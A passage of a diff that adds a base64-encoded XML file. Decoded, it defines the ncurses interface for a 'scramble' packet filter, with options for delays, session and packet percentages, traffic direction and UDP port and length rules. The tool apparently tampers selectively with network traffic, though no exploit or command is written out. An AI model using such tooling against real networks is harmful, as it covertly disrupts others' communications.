+ICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50
+cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAz
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMDwvYXJnbnVtYmVyPg0K
+ICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5BdXRvbWF0aWNhbGx5IHJlLWVuYWJsZSB0aGUgZmls
+dGVyIHdoZW4gdGVybWluYXRpb24gaXMgcmVhY2hlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBh
+cmFtZXRlciBmbGFnPSJ0ZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9j
+YXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdGQ8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBEZWxheTwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+
+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+MTE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+VGlt
+ZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy4gIFRoZSBmb3JtYXQgY2FuIGJlIHNlY29u
+ZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMsIGhvdXJz
+LCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5m
+YWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3Bh
+cmFtX3Q8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBEdXJhdGlv
+bjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+ICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICAgIDxhcmdudW1iZXI+MTI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVs
+cHRleHQ+RHVyYXRpb24gcGFja2V0cyB3aWxsIGJlIGFmZmVjdGVkIGJ5IGZpbHRlci4gIFRoZSBm
+b3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNwZWNpZmll
+cnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRz
+LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9w
+YXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InNkIj4NCiAgICAgICAgICAg
+ICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5TZXNzaW9uIERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAg
+ICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZh
+dWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRp
+dmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMzwvYXJnbnVtYmVyPg0KICAgICAgICAg
+ICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2Ygc2Vzc2lvbnMgdG8gaWdub3JlIGJlZm9yZSBmaWx0
+ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9
+InMiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4N
+CiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3M8L25jdXJzZWlkPg0KICAg
+ICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBQZXJjZW50YWdlPC9uY3Vyc2VsYWJlbD4N
+CiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8
+L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAg
+PGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xNDwv
+YXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5QZXJjZW50YWdlIG9mIHNlc3Np
+b25zIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBm
+bGFnPSJzbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0
+aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fc208L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4IFNlc3Npb25zPC9uY3Vyc2VsYWJlbD4N
+CiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8
+L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAg
+PGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2
+ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xNTwv
+YXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJlciBvZiBz
+ZXNzaW9uIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4N
+CiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAg
+ICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icGQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNp
+dGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFt
+YmxlX3BhcmFtX3BkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlBhY2tl
+dCBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAg
+ICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9z
+aXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MTY8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRl
+eHQ+TnVtYmVyIG9mIHBhY2tldHMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNr
+ZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAg
+PC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InAiPg0KICAgICAgICAg
+ICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3A8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1
+cnNlbGFiZWw+UGFja2V0IFBlcmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAg
+ICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8
+L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE3PC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2YgcGFja2V0cyBmaWx0ZXIgd2lsbCBh
+ZmZlY3QuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icG0iPg0KICAgICAg
+ICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BtPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWxhYmVsPk1heCBQYWNrZXRzPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9k
+ZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xODwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJlciBvZiBwYWNrZXRzIHRvIGFmZmVjdCBi
+ZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9h
+dHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0
+ZXIgZmxhZz0iZGlyIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2Vz
+ZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9kaXI8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGlyZWN0aW9uPC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50
+MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAg
+ICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4x
+OTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5UaGUgZGlyZWN0aW9uIGlu
+IGEgY2xpZW50IHNlcnZlciBjb25uZWN0aW9uIHRoYXQgdGhpcyBmaWx0ZXIgYXBwbGllcyB0by4g
+IElmIGZsYWcgaXMgbm90IHVzZWQsIGJvdGggZGlyZWN0aW9uIHdpbGwgYmUgZmlsdGVyZWQgb24u
+ICBJZiAxIGlzIGVudGVyZWQsIG9ubHkgY29ubmVjdGlvbnMgZnJvbSB0aGUgY2xpZW50IHdpbGwg
+YmUgZmlsdGVyZWQgb24uICBJZiAyLCBvbmx5IHRob3NlIGZyb20gdGhlIHNlcnZlci48L2hlbHB0
+ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVy
+Pg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJsIj4NCiAgICAgICAgICAgICAgPGNhc2Vz
+ZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9wYXJhbV9sPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlVE
+UCBQb3J0IE1pbmltdW08L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6
+ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1
+ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMTI8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8
+aGVscHRleHQ+TWluaW11bSB2YWx1ZSBmb3IgdWRwIHBvcnQgYXNzaWdubWVudC48L2hlbHB0ZXh0
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0K
+ICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJoaSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vu
+c2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfcGFyYW1faDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5VRFAg
+UG9ydCBNYXhpbXVtPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+
+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+
+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDEyPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj4zPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhl
+bHB0ZXh0Pk1heGltdW0gdmFsdWUgZm9yIHVkcCBwb3J0IGFzc2lnbm1lbnQuPC9oZWxwdGV4dD4N
+CiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAg
+ICAgICAgICA8L29wdGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICAgIDwvcGFyYW1ldGVycz4NCiAg
+ICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgICA8dGl0bGU+U2NyYW1ibGUgdWRwLWRzdHBvcnQgRmlsdGVy
+PC90aXRsZT4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAg
+ICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxl
+bGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8yPC9lbGVtZW50Pg0KICAgICAgICAgICAg
+ICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzM8L2VsZW1lbnQ+DQogICAgICAgICAg
+ICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNDwvZWxlbWVudD4NCiAgICAgICAg
+ICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1l
+bnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl81PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxl
+bWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzY8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxl
+bGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNzwvZWxlbWVudD4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl84PC9lbGVtZW50Pg0KICAgICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAg
+ICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRl
+X2F0dHJpYl85PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8
+Y29sdW1uLz4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAg
+ICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9l
+bjwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcHM8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxl
+bGVtZW50PnNjcmFtYmxlX3BhcmFtX3I8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4N
+CiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3RkPC9lbGVt
+ZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAg
+ICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3Q8L2VsZW1lbnQ+DQogICAgICAgICAg
+ICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQog
+ICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJh
+bV9zZDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVt
+bj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fczwvZWxlbWVudD4NCiAg
+ICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fc208L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAg
+ICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9wZDwvZWxl
+bWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAg
+ICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcDwvZWxlbWVudD4NCiAgICAgICAgICAg
+IDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+
+c2NyYW1ibGVfcGFyYW1fcG08L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAg
+ICAgICA8L3NlY3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1u
+Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9kaXI8L2VsZW1lbnQ+DQog
+ICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAg
+IDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX2w8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxl
+X3BhcmFtX2g8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3Nl
+Y3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICAgIDwvY21kPg0KICAgICAgPGNt
+ZCB0aXRsZT0idWRwLWxlbiI+DQogICAgICAgIDxoZWxwdGV4dD5DcmVhdGVzIGEgbmV3IHVkcC1s
+ZW4gcnVsZSBiYXNlZCBvbiB0aGUgc3BlY2lmaWVkIGNyaXRlcmlhLjwvaGVscHRleHQ+DQogICAg
+ICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEYwMDAwMTM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+RjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAg
+ICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgICA8cmVx
+dWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVf
+Y3JlYXRlX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+U291cmNlIElQPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBl
+Pg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmlt
+aXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+
+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwv
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxl
+X2NyZWF0ZV9hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVs
+PlNvdXJjZSBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90
+eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1i
+ZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+IDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzM8L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U3RhcnQgU3JjIFBvcnQ8L25jdXJzZWxhYmVs
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQz
+MjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjM8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl80PC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuZCBTcmMgUG9ydDwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWlu
+dDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxh
+cmdudW1iZXI+NDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlk
+PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5j
